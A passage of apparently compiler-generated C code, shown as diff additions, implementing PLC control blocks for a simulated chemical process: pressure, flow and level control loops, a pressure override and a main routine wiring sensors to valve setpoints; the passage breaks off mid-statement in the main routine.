__INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + 